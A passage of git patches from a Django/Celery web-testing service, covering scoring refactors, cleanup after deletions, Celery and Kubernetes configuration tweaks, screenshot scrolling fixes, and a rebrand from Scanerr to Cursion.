-    if len(scans) > 0:
-        score = sum(scans)/len(scans)
-    else:
-        score = None
+    if len(scores) > 0:
+        score = sum(scores)/len(scores)
         
     # saving new info to site
     site.info['latest_scan']['id'] = str(scan.id)
@@ -180,37 +216,18 @@ def update_page_info(scan: object) -> object:
 
     Returns -> `Page` <obj>
     """
-    
-    # setting defaults
-    d = 0
-    score = 0
-    page = scan.page
-
-    # selecting LH & YL scores if present
-    if scan.lighthouse['scores']['average'] is not None:
-        score += float(scan.lighthouse['scores']['average'])
-        d += 1
-    if scan.yellowlab['scores']['globalScore'] is not None:
-        score += float(scan.yellowlab['scores']['globalScore'])
-        d += 1
-    
-    # calc average health score
-    if score != 0:
-        score = score / d
-    else:
-        score = None
 
     # saving new info to page
-    page.info['latest_scan']['id'] = str(scan.id)
-    page.info['latest_scan']['time_created'] = str(scan.time_created)
-    page.info['latest_scan']['time_completed'] = str(scan.time_completed)
-    page.info['latest_scan']['score'] = score
-    page.info['lighthouse'] = scan.lighthouse.get('scores')
-    page.info['yellowlab'] = scan.yellowlab.get('scores')
-    page.save()
+    scan.page.info['latest_scan']['id'] = str(scan.id)
+    scan.page.info['latest_scan']['time_created'] = str(scan.time_created)
+    scan.page.info['latest_scan']['time_completed'] = str(scan.time_completed)
+    scan.page.info['latest_scan']['score'] = scan.score
+    scan.page.info['lighthouse'] = scan.lighthouse.get('scores')
+    scan.page.info['yellowlab'] = scan.yellowlab.get('scores')
+    scan.page.save()
 
     # returning page
-    return page
+    return scan.page
 
 
 
@@ -310,12 +327,13 @@ def check_scan_completion(scan: object, test_id: str=None, automation_id: str=No
         time_completed = datetime.now()
         scan.time_completed = time_completed
         scan.save()
+        update_scan_score(scan)
         update_page_info(scan)
         update_site_info(scan)
 
         # start Test if test_id present
         if test_id is not None:
-            print('\n\n---------------\nScan Complete\nStarting Test...\n---------------\n\n')
+            print('\n---------------\nScan Complete\nStarting Test...\n---------------\n')
             test = Test.objects.get(id=test_id)
             Tester(test=test).run_test()
             if automation_id is not None and automation_id != 'None':
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index ef68c06b..92c27d34 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -81,7 +81,7 @@ class Meta:
         model = Scan
         fields = ['id', 'site', 'page', 'paired_scan', 'time_created',
         'time_completed', 'html', 'logs', 'lighthouse', 'yellowlab', 
-        'images', 'configs', 'tags', 'type',
+        'images', 'configs', 'tags', 'type', 'score',
         ]
 
 
@@ -104,7 +104,7 @@ def get_yellowlab(self, obj):
     class Meta:
         model = Scan
         fields = ['id', 'site', 'page', 'paired_scan', 'time_created', 'logs', 
-        'time_completed', 'lighthouse', 'yellowlab', 'configs', 'tags',
+        'time_completed', 'lighthouse', 'yellowlab', 'configs', 'tags', 'score',
         ]
 
 
@@ -219,7 +219,9 @@ class TestcaseSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Testcase
         fields = ['id', 'site', 'user', 'time_created', 'time_completed',
-        'steps', 'case', 'case_name', 'passed', 'configs', 'account',
+        'steps', 'case', 'case_name', 'configs', 'account',
+        # 'passed', # REMOVE
+        'status', # NEW
         ]
 
 
@@ -235,7 +237,9 @@ class SmallTestcaseSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Testcase
         fields = ['id', 'site', 'user', 'time_created', 'time_completed',
-        'case', 'case_name', 'passed', 'configs', 'account',
+        'case', 'case_name', 'configs', 'account',
+        # 'passed', # REMOVE
+        'status', # NEW
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 8245a856..6d8e4ed9 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -500,7 +500,7 @@ def create_site(request: object, delay: bool=False) -> object:
     # create process obj
     process = Process.objects.create(
         site=site,
-        type='case',
+        type='case.generate',
         account=account,
         progress=1
     )
@@ -1903,6 +1903,12 @@ def delete_scan(request: object=None, id: str=None, account: object=None) -> obj
     # remove s3 objects
     delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
 
+    # update page and site
+    update_site_and_page_info.delay(
+        resource='scan',
+        page_id=str(scan.page.id)
+    )
+
     # delete scan
     scan.delete()
 
@@ -1956,6 +1962,10 @@ def delete_many_scans(request: object) -> object:
                 scan = Scan.objects.get(id=id)
                 if scan.site.account == account:
                     delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
+                    update_site_and_page_info.delay(
+                        resource='scan', 
+                        page_id=str(scan.page.id)
+                    )
                     scan.delete()
                 # add to success attempts
                 num_succeeded += 1
@@ -2602,9 +2612,15 @@ def delete_test(request: object=None, id: str=None, account: object=None) -> obj
     # remove s3 objects
     delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
 
+    # update site and page with most recent data
+    update_site_and_page_info.delay(
+        resource='test',
+        page_id=str(test.page.id)
+    )
+
     # delete test
     test.delete()
-
+    
     # return response
     data = {'message': 'Test has been deleted',}
     if request:
@@ -2655,6 +2671,10 @@ def delete_many_tests(request: object) -> object:
                 test = Test.objects.get(id=id)
                 if test.site.account == account:
                     delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
+                    update_site_and_page_info.delay(
+                        resource='test', 
+                        page_id=str(test.page.id)
+                    )
                     test.delete()
                 # add to success attempts
                 num_succeeded += 1
@@ -5091,14 +5111,14 @@ def create_testcase(request: object, delay: bool=False) -> object:
             step['action']['time_created'] = None
             step['action']['time_completed'] = None
             step['action']['exception'] = None
-            step['action']['passed'] = None
+            step['action']['status'] = None
             step['action']['img'] = None
         # expanding assertion
         if step['assertion']['type'] != None:
             step['assertion']['time_created'] = None
             step['assertion']['time_completed'] = None
             step['assertion']['exception'] = None
-            step['assertion']['passed'] = None
+            step['assertion']['status'] = None
 
     # updating values if requested
     if updates != None:
@@ -5763,7 +5783,7 @@ def get_site_metrics(request: object) -> object:
         last_usage_date_str = last_usage_date_str.replace('T', ' ').replace('Z', '')
         last_usage_date = datetime.strptime(last_usage_date_str, f)
     else:
-        last_usage_date = datetime.now() - datetime.timedelta(30)
+        last_usage_date = datetime.now() - timedelta(30)
 
     # get scans
     scans = Scan.objects.filter(
diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py
index bc89c01b..6488acf5 100644
--- a/app/scanerr/celery.py
+++ b/app/scanerr/celery.py
@@ -2,7 +2,7 @@
 from celery import Celery
 from celery.signals import worker_shutdown
 from django.conf import settings
-import scanerr, os
+import scanerr, os, time
 
 
 
@@ -38,7 +38,8 @@ def debug_task(self):
 # notify of SIGTERM
 @worker_shutdown.connect
 def on_worker_shutdown(**kwargs):
-    print(f'- WORKER SHUTTING DOWN - \n\n{kwargs}')
+    print(f'- WORKER SHUTTING DOWN - \n{kwargs}')
+
     
 
 
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 8d0f17ff..808fbfcc 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -6,6 +6,11 @@ metadata:
     deployment: celery
 spec:
   replicas: 2
+  strategy:
+    type: RollingUpdate
+    rollingUpdate:
+      maxSurge: 50%
+      maxUnavailable: 50%
   selector:
     matchLabels:
       app: celery-deployment
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index a40de1c5..f7f2d14d 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -202,12 +202,12 @@ kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
 # Migration Notes for DB:
 1. Go to `models.py` and comment out all new additions
 2. Spinup staging env locally to create `00001_initial.py` migration as baseline
-   - `docker compose -f docker-compose.stage.yml up -d --build`
+   - `docker compose -f docker-compose.stage.yml up --build`
 3. Spin down staging env
    - `docker compose -f docker-compose.stage.yml down`
 4. Un-comment all new additions in `models.py`
 5. Spinup staging env locally again and ensure a new migration file is created in `/migrations`
-   - `docker compose -f docker-compose.stage.yml up -d --build`
+   - `docker compose -f docker-compose.stage.yml up --build`
 6. Spin down staging env
    - `docker compose -f docker-compose.stage.yml down`
 7. Merge `dev` branch on github using a pull request
\ No newline at end of file

From c1b70e13eaea7fec74954a29029b76ed295065b0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 20 Sep 2024 14:45:06 -0600
Subject: [PATCH 0732/1099] switched to scrolling by clientHeight

---
 app/api/utils/imager.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 597a0884..cc093f92 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -198,9 +198,9 @@ def scan_vrt(self, driver: object=None) -> list:
                 driver.set_window_size(int(sizes[0]), (int(scroll_height)))
                 
                 # scroll down and up
-                driver.execute_script(f"window.scrollBy(0, {scroll_height});")
+                driver.execute_script(f"window.scrollBy(0, {client_height});")
                 time.sleep(1)
-                driver.execute_script(f"window.scrollBy(0, -{scroll_height});")
+                driver.execute_script(f"window.scrollBy(0, -{client_height});")
                 
                 # get client & new scroll height
                 client_height = driver.execute_script("return document.documentElement.clientHeight;")

From 1693950657f854350900207387d0c5645c8e435f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 20 Sep 2024 20:58:23 -0600
Subject: [PATCH 0733/1099] fixed Scan & Test deletion issues

---
 app/api/tasks.py | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 545e9a90..a9efd46d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -315,7 +315,7 @@ def update_site_and_page_info(
                     page.info['latest_scan']['score'] = latest_scan.score
                     page.info['lighthouse'] = latest_scan.lighthouse.get('scores')
                     page.info['yellowlab'] = latest_scan.yellowlab.get('scores')
-                else:
+                if latest_scan is None and (resource == 'scan' or resource == 'all'):
                     page.info['latest_scan']['id'] = None
                     page.info['latest_scan']['time_created'] = None
                     page.info['latest_scan']['time_completed'] = None
@@ -323,7 +323,6 @@ def update_site_and_page_info(
                     page.info['lighthouse'] = None
                     page.info['yellowlab'] = None
 
-
                 # latest_test info
                 if latest_test:
                     page.info['latest_test']['id'] = str(latest_test.id)
@@ -331,7 +330,7 @@ def update_site_and_page_info(
                     page.info['latest_test']['time_completed'] = str(latest_test.time_completed)
                     page.info['latest_test']['score'] = (round(latest_test.score * 100) / 100)
                     page.info['latest_test']['status'] = latest_test.status
-                else:
+                if latest_test is None and (resource == 'test' or resource == 'all'):
                     page.info['latest_test']['id'] = None
                     page.info['latest_test']['time_created'] = None
                     page.info['latest_test']['time_completed'] = None
@@ -355,7 +354,7 @@ def update_site_and_page_info(
         site.info['latest_scan']['score'] = latest_scan.score
         site.info['lighthouse'] = latest_scan.lighthouse.get('scores')
         site.info['yellowlab'] = latest_scan.yellowlab.get('scores')
-    else:
+    if latest_scan is None and (resource == 'scan' or resource == 'all'):
         site.info['latest_scan']['id'] = None
         site.info['latest_scan']['time_created'] = None
         site.info['latest_scan']['time_completed'] = None
@@ -365,7 +364,6 @@ def update_site_and_page_info(
 
     # update site with new test info
     if len(tests) > 0:
-        
         # calc site average of latest_test.score
         site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
         print(f'updating site with new test score -> {site_avg_test_score}')
@@ -377,7 +375,7 @@ def update_site_and_page_info(
         site.info['latest_test']['time_completed'] = str(latest_test.time_completed)
         site.info['latest_test']['score'] = site_avg_test_score
         site.info['latest_test']['status'] = latest_test.status
-    else:
+    if latest_test is None and (resource == 'test' or resource == 'all'):
         site.info['latest_test']['id'] = None
         site.info['latest_test']['time_created'] = None
         site.info['latest_test']['time_completed'] = None

From 1190c4e41d4aadcb064546d0410a6489dad24dee Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 23 Sep 2024 10:10:03 -0600
Subject: [PATCH 0734/1099] testing new configurations for celery

---
 app/scanerr/celery.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py
index 6488acf5..1839e4a7 100644
--- a/app/scanerr/celery.py
+++ b/app/scanerr/celery.py
@@ -20,11 +20,12 @@
 
 # celery and beat configs
 app.conf.update(
-    task_acks_late=False,
+    task_acks_late=True,
     worker_prefetch_multiplier=1,
     worker_hijack_root_logger=False,
     task_always_eager=False,
     worker_cancel_long_running_tasks_on_connection_loss=True,
+    worker_max_tasks_per_child=100
 )
 
 # setting tasks to auto-discover

From 6063657ff8465afac3d940f6ddf2682bd8d20fbd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 23 Sep 2024 11:14:29 -0600
Subject: [PATCH 0735/1099] added back scroll for auto-height

---
 app/api/utils/imager.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index cc093f92..bf3ba480 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -267,7 +267,7 @@ def scan_vrt(self, driver: object=None) -> list:
                 break
 
             # scroll single frame if not first frame and not auto_height
-            if index != 0 and not self.scan.configs.get('auto_height', True):
+            if index != 0:
                 driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
                 time.sleep(int(self.scan.configs.get('min_wait_time', 10)))
 

From 6916ffe2d6b71aea44b09cec6b480577965d6b40 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 23 Sep 2024 11:28:39 -0600
Subject: [PATCH 0736/1099] changed 'access' to 'token' for google_auth

---
 app/api/v1/auth/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index bf719008..18634faf 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -288,7 +288,7 @@ def jwt_login(*, user: object) -> str:
 
     # get JWTs for user
     refresh = RefreshToken.for_user(user)
-    access = str(refresh.access_token)
+    token = str(refresh.access_token)
     refresh = str(refresh)
     
     # create API token if none exists
@@ -307,7 +307,7 @@ def jwt_login(*, user: object) -> str:
 
     # building params for redirect
     param_string = str(
-        '?access='+str(access)+'&refresh='+str(refresh)+
+        '?token='+str(token)+'&refresh='+str(refresh)+
         '&username='+str(user.username)+'&id='+str(user.id)+
         '&email='+str(user.email)+'&is_active='+str(is_active)+
         '&created='+str(user.date_joined)+'&updated='+str(timezone.now())+

From b005694e15428636eab16f105e8b75254883c693 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 24 Sep 2024 14:15:36 -0600
Subject: [PATCH 0737/1099] updating to cursion

---
 .github/workflows/k8s-deploy.yaml             |  2 +-
 Dockerfile                                    |  2 +-
 LICENSE.md                                    |  6 ++---
 README.md                                     |  8 +++----
 .../management/commands/terminate_worker.py   |  6 ++---
 app/api/models.py                             |  2 +-
 app/api/tasks.py                              |  6 ++---
 app/api/templates/api/alert_no_button.html    |  4 ++--
 app/api/templates/api/alert_with_button.html  |  4 ++--
 app/api/templates/api/automation_email.html   |  4 ++--
 app/api/utils/alerts.py                       | 24 +++++++++----------
 app/api/utils/archive/caser.py                |  2 +-
 app/api/utils/archive/driver_p.py             |  2 +-
 app/api/utils/archive/imager.py               |  4 ++--
 app/api/utils/autocaser.py                    |  2 +-
 app/api/utils/caser.py                        |  2 +-
 app/api/utils/exporter.py                     | 16 ++++++-------
 app/api/utils/imager.py                       |  2 +-
 app/api/utils/issuer.py                       |  4 ++--
 app/api/utils/lighthouse.py                   |  4 ++--
 app/api/utils/reporter.py                     |  2 +-
 app/api/utils/scanner.py                      |  4 ++--
 app/api/utils/tester.py                       |  2 +-
 app/api/utils/verify.py                       |  2 +-
 app/api/utils/yellowlab.py                    |  4 ++--
 app/api/v1/auth/services.py                   |  4 ++--
 app/api/v1/auth/views.py                      |  2 +-
 app/api/v1/billing/services.py                |  4 ++--
 app/api/v1/billing/views.py                   |  2 +-
 app/api/v1/ops/services.py                    | 10 ++++----
 app/{scanerr => cursion}/__init__.py          |  0
 app/{scanerr => cursion}/asgi.py              |  4 ++--
 app/{scanerr => cursion}/celery.py            |  8 +++----
 app/{scanerr => cursion}/settings.py          |  8 +++----
 app/{scanerr => cursion}/urls.py              |  0
 app/{scanerr => cursion}/wsgi.py              |  4 ++--
 app/manage.py                                 |  2 +-
 docker-compose.dev.yml                        | 22 ++++++++---------
 docker-compose.local.yml                      | 22 ++++++++---------
 docker-compose.prod.yml                       | 22 ++++++++---------
 docker-compose.stage.yml                      |  4 ++--
 env/.env.stage.example                        |  2 +-
 k8s/local/app-deployment.yaml                 |  2 +-
 k8s/local/celery-deployment.yaml              |  4 ++--
 k8s/prod/app-cert-issuer.yaml                 |  2 +-
 k8s/prod/app-deployment.yaml                  |  4 ++--
 k8s/prod/app-ingress.yaml                     |  4 ++--
 k8s/prod/app-loadbalancer.yaml                |  2 +-
 k8s/prod/beat-deployment.yaml                 |  2 +-
 k8s/prod/celery-autoscaler.yaml               |  2 +-
 k8s/prod/celery-deployment.yaml               |  2 +-
 k8s/prod/ylt-autoscaler.yaml                  |  2 +-
 k8s/prod/ylt-deployment.yaml                  |  2 +-
 notes/Deployment.md                           | 11 +++++----
 notes/Kubernetes.md                           |  8 +++----
 setup/scripts/entrypoint.sh                   |  6 ++---
 setup/scripts/local.sh                        |  6 ++---
 57 files changed, 150 insertions(+), 149 deletions(-)
 rename app/{scanerr => cursion}/__init__.py (100%)
 rename app/{scanerr => cursion}/asgi.py (75%)
 rename app/{scanerr => cursion}/celery.py (83%)
 rename app/{scanerr => cursion}/settings.py (98%)
 rename app/{scanerr => cursion}/urls.py (100%)
 rename app/{scanerr => cursion}/wsgi.py (75%)

diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index aa16f7dc..ad2031de 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -2,7 +2,7 @@
 # deploy the application on a DigitalOcean Kubernetes cluster. For description to the entire worklow, 
 # see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
 
-name: Deploy to scanerr-k8s
+name: Deploy to cursion-k8s
 
 # Controls when the action will run.
 on:
diff --git a/Dockerfile b/Dockerfile
index 64a58d79..204d1157 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -2,7 +2,7 @@
 FROM python:3.12-slim
 
 # adding labels
-LABEL Author="Scanerr" Support="hello@scanerr.io"
+LABEL Author="Cursion" Support="hello@cursion.dev"
 
 # setting ENVs and Configs
 ENV HOME=/app
diff --git a/LICENSE.md b/LICENSE.md
index 97c65594..4975f547 100644
--- a/LICENSE.md
+++ b/LICENSE.md
@@ -1,10 +1,10 @@
-Copyright (c) 2024 Scanerr
+Copyright (c) 2024 Cursion
 
 
-Scanerr Commercial Software License Terms
+Cursion Commercial Software License Terms
 
 1.	Order. These terms, together with the order referencing them, make up a software license agreement. The software, the developer, and the customer are all identified on the order.
-(i)  Software: Scanerr 
+(i)  Software: Cursion 
 (ii) Developer: Grey Labs, LLC (https://greylabs.io)
 2.	Versions. This agreement covers the specific version of the software on the order, plus any new versions of the software that the vendor makes generally available, or specifically provides to the customer, while this agreement continues.
 3.	Modifications. The customer may make changes to the software’s source code, compile those changes, and run changed versions of the software.
diff --git a/README.md b/README.md
index 08ac9f10..13ebd329 100644
--- a/README.md
+++ b/README.md
@@ -1,13 +1,13 @@
-# Scanerr Server (API repo)
+# Cursion Server (API repo)
 
-![Build Status](https://github.com/scanerr-io/server/actions/workflows/k8s-deploy.yaml/badge.svg)
+![Build Status](https://github.com/cursion/server/actions/workflows/k8s-deploy.yaml/badge.svg)
 
-This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. 
+This is the server repo for the Cursion API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. 
 
 > This software is only intended for internal white-label use and is not licensed for redristibution. See LICENSE for more information.
 
 
-Copyright © Scanerr 2024
+Copyright © Cursion 2024
 
 ---
 &nbsp;
diff --git a/app/api/management/commands/terminate_worker.py b/app/api/management/commands/terminate_worker.py
index 84804dfb..1cadfa8c 100644
--- a/app/api/management/commands/terminate_worker.py
+++ b/app/api/management/commands/terminate_worker.py
@@ -1,4 +1,4 @@
-from scanerr import celery
+from cursion import celery
 from django.core.management.base import BaseCommand
 import time, os
 
@@ -13,7 +13,7 @@ class Command(BaseCommand):
     def handle(self, *args, **options):
 
         # get worker / pod name
-        default_worker = 'scanerr-celery'
+        default_worker = 'cursion-celery'
         if os.environ.get('THIS_POD_NAME'):
             default_worker = str(os.environ.get('THIS_POD_NAME'))
 
@@ -30,7 +30,7 @@ def handle(self, *args, **options):
 def wait_for_tasks_to_complete():
 
     # get worker / pod name
-    default_worker = 'scanerr-celery'
+    default_worker = 'cursion-celery'
     if os.environ.get('THIS_POD_NAME'):
         default_worker = str(os.environ.get('THIS_POD_NAME'))
 
diff --git a/app/api/models.py b/app/api/models.py
index a275773e..885ab006 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -4,7 +4,7 @@
 from django.contrib.auth.models import User
 from datetime import datetime
 from django.contrib.postgres.fields import JSONField
-from scanerr import settings
+from cursion import settings
 import uuid
 
 
diff --git a/app/api/tasks.py b/app/api/tasks.py
index a9efd46d..7a856b03 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -18,7 +18,7 @@
 from django.contrib.auth.models import User
 from django.utils import timezone
 from datetime import datetime, timedelta
-from scanerr import settings
+from cursion import settings
 import asyncio, boto3, time, requests, json, stripe
 
 
@@ -1942,7 +1942,7 @@ def delete_admin_sites(days_to_live: int=1) -> None:
 @shared_task
 def create_prospect(user_email: str=None) -> None:
     """ 
-    Sends an API request to Scanerr Landing which 
+    Sends an API request to Cursion Landing which 
     creates a new `Prospect`
 
     Expects: {
@@ -2003,7 +2003,7 @@ def create_prospect(user_email: str=None) -> None:
 @shared_task
 def create_report_export_bg(report_id: str=None, email: str=None, first_name: str=None) -> None:
     """ 
-    Creates and exports a Scanerr landing report
+    Creates and exports a Cursion landing report
 
     Expects: {
         report_id   : str, 
diff --git a/app/api/templates/api/alert_no_button.html b/app/api/templates/api/alert_no_button.html
index 20e8260e..6dbc4813 100644
--- a/app/api/templates/api/alert_no_button.html
+++ b/app/api/templates/api/alert_no_button.html
@@ -137,12 +137,12 @@
               <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: separate; mso-table-lspace: 0pt; mso-table-rspace: 0pt; width: 100%;">
                 <tr>
                   <td class="content-block" style="font-family: sans-serif; vertical-align: top; padding-bottom: 10px; padding-top: 10px; font-size: 12px; color: #999999; text-align: center;">
-                    <span class="apple-link" style="color: #999999; font-size: 12px; text-align: center;">Scanerr, San Antonio TX</span>
+                    <span class="apple-link" style="color: #999999; font-size: 12px; text-align: center;">Cursion, San Antonio TX</span>
                   </td>
                 </tr>
                 <tr>
                   <td class="content-block powered-by" style="font-family: sans-serif; vertical-align: top; padding-bottom: 10px; padding-top: 10px; font-size: 12px; color: #999999; text-align: center;">
-                    Powered by <a href="{{ home_page }}" style="color: #999999; font-size: 12px; text-align: center; text-decoration: none;">Scanerr</a>.
+                    Powered by <a href="{{ home_page }}" style="color: #999999; font-size: 12px; text-align: center; text-decoration: none;">Cursion</a>.
                   </td>
                 </tr>
               </table>
diff --git a/app/api/templates/api/alert_with_button.html b/app/api/templates/api/alert_with_button.html
index 13c30107..2b163e4d 100644
--- a/app/api/templates/api/alert_with_button.html
+++ b/app/api/templates/api/alert_with_button.html
@@ -144,12 +144,12 @@
               <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: separate; mso-table-lspace: 0pt; mso-table-rspace: 0pt; width: 100%;">
                 <tr>
                   <td class="content-block" style="font-family: sans-serif; vertical-align: top; padding-bottom: 10px; padding-top: 10px; font-size: 12px; color: #999999; text-align: center;">
-                    <span class="apple-link" style="color: #999999; font-size: 12px; text-align: center;">Scanerr, San Antonio TX</span>
+                    <span class="apple-link" style="color: #999999; font-size: 12px; text-align: center;">Cursion, San Antonio TX</span>
                   </td>
                 </tr>
                 <tr>
                   <td class="content-block powered-by" style="font-family: sans-serif; vertical-align: top; padding-bottom: 10px; padding-top: 10px; font-size: 12px; color: #999999; text-align: center;">
-                    Powered by <a href="{{ home_page }}" style="color: #999999; font-size: 12px; text-align: center; text-decoration: none;">Scanerr</a>.
+                    Powered by <a href="{{ home_page }}" style="color: #999999; font-size: 12px; text-align: center; text-decoration: none;">Cursion</a>.
                   </td>
                 </tr>
               </table>
diff --git a/app/api/templates/api/automation_email.html b/app/api/templates/api/automation_email.html
index 6ba3c45f..30719264 100644
--- a/app/api/templates/api/automation_email.html
+++ b/app/api/templates/api/automation_email.html
@@ -152,12 +152,12 @@
               <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: separate; mso-table-lspace: 0pt; mso-table-rspace: 0pt; width: 100%;">
                 <tr>
                   <td class="content-block" style="font-family: sans-serif; vertical-align: top; padding-bottom: 10px; padding-top: 10px; font-size: 12px; color: #999999; text-align: center;">
-                    <span class="apple-link" style="color: #999999; font-size: 12px; text-align: center;">Scanerr, San Antonio TX</span>
+                    <span class="apple-link" style="color: #999999; font-size: 12px; text-align: center;">Cursion, San Antonio TX</span>
                   </td>
                 </tr>
                 <tr>
                   <td class="content-block powered-by" style="font-family: sans-serif; vertical-align: top; padding-bottom: 10px; padding-top: 10px; font-size: 12px; color: #999999; text-align: center;">
-                    Powered by <a href="{{ home_page }}" style="color: #999999; font-size: 12px; text-align: center; text-decoration: none;">Scanerr</a>.
+                    Powered by <a href="{{ home_page }}" style="color: #999999; font-size: 12px; text-align: center; text-decoration: none;">Cursion</a>.
                   </td>
                 </tr>
               </table>
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 6cfc5b87..8ad87a76 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -7,7 +7,7 @@
 from slack_sdk.errors import SlackApiError
 from sendgrid import SendGridAPIClient
 from sendgrid.helpers.mail import Mail, From, To
-from scanerr import settings
+from cursion import settings
 import os, json, requests, uuid
 
 
@@ -92,10 +92,10 @@ def send_invite_link(member: object=None) -> dict:
 
         # build email data
         link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}'
-        subject = 'Scanerr Invite'
-        title = 'Scanerr Invite'
-        pre_header = 'Scanerr Invite'
-        pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Scanerr. Now just click the link below to accept the invite!'
+        subject = 'Cursion Invite'
+        title = 'Cursion Invite'
+        pre_header = 'Cursion Invite'
+        pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Cursion. Now just click the link below to accept the invite!'
         greeting = 'Hi there,'
 
         context = {
@@ -150,7 +150,7 @@ def send_remove_alert(member: object=None) -> dict:
         subject = 'Removed From Account'
         title = 'Removed From Account'
         pre_header = 'Removed From Account'
-        pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Scanerr. Please let us know if there\'s been a mistake.'
+        pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Cursion. Please let us know if there\'s been a mistake.'
         greeting = 'Hi there,'
 
         context = {
@@ -612,7 +612,7 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
         title = f'Alert for {url}'
         pre_header = f'Alert for {url}'
         pre_content = (
-            f'Scanerr just finished running a {item_type} for {url}. ' 
+            f'Cursion just finished running a {item_type} for {url}. ' 
             f'Below are the current stats:'
         )
         content = (
@@ -692,12 +692,12 @@ def automation_report_email(email: str=None, automation_id: str=None, object_id:
         title = f'Report for {url}'
         pre_header = f'Report for {url}'
         pre_content = (
-            f'Scanerr just finished creating a ' 
+            f'Cursion just finished creating a ' 
             f'<a href="{settings.CLIENT_URL_ROOT}/page/{str(report.page.id)}/report">Report</a> for {url}. '
             f'Please click the link below to access and download the PDF.'
         )
         content = (
-            f'\nThis message was triggered by an automation created with Scanerr. ' 
+            f'\nThis message was triggered by an automation created with Cursion. ' 
             f'You can change the automation and schedule in your ' 
             f'<a href="{settings.CLIENT_URL_ROOT}/page/{str(report.page.id)}">dashboard</a>.'
         )
@@ -850,7 +850,7 @@ def automation_phone(phone_number: str=None, automation_id: str=None, object_id:
         # build message data
         object_url = f'{settings.CLIENT_URL_ROOT}/{item_type.lower()}/{item.id}'
         pre_content = (
-            f'Scanerr just finished running a {item_type} for {url}. ' 
+            f'Cursion just finished running a {item_type} for {url}. ' 
             f'Below are the current stats:\n\n{exp_str}\n'
             f'View {item_type}: {object_url}\n\n'
         )
@@ -929,7 +929,7 @@ def automation_slack(automation_id: str=None, object_id: str=None) -> dict:
         # build message data
         object_url = f'{settings.CLIENT_URL_ROOT}/{item_type}/{item.id}'
         pre_content = (
-            f'Scanerr just finished running a `{item_type}` for {url}. ' 
+            f'Cursion just finished running a `{item_type}` for {url}. ' 
             f'Below are the current stats:\n\n```{exp_str}```\n'
             f'<{object_url}|*View {item_type}*>\n\n'
         )
@@ -1038,7 +1038,7 @@ def sendgrid_email(message_obj: dict=None) -> dict:
 
     # init SendGrid message
     message = Mail(
-        from_email=From('hello@scanerr.io', 'Scanerr'),  # prod -> settings.EMAIL_HOST_USER
+        from_email=From('hello@cursion.dev', 'Cursion'),  # prod -> settings.EMAIL_HOST_USER
         to_emails=email,  
     )
     
diff --git a/app/api/utils/archive/caser.py b/app/api/utils/archive/caser.py
index c47108bf..fad64501 100644
--- a/app/api/utils/archive/caser.py
+++ b/app/api/utils/archive/caser.py
@@ -8,7 +8,7 @@
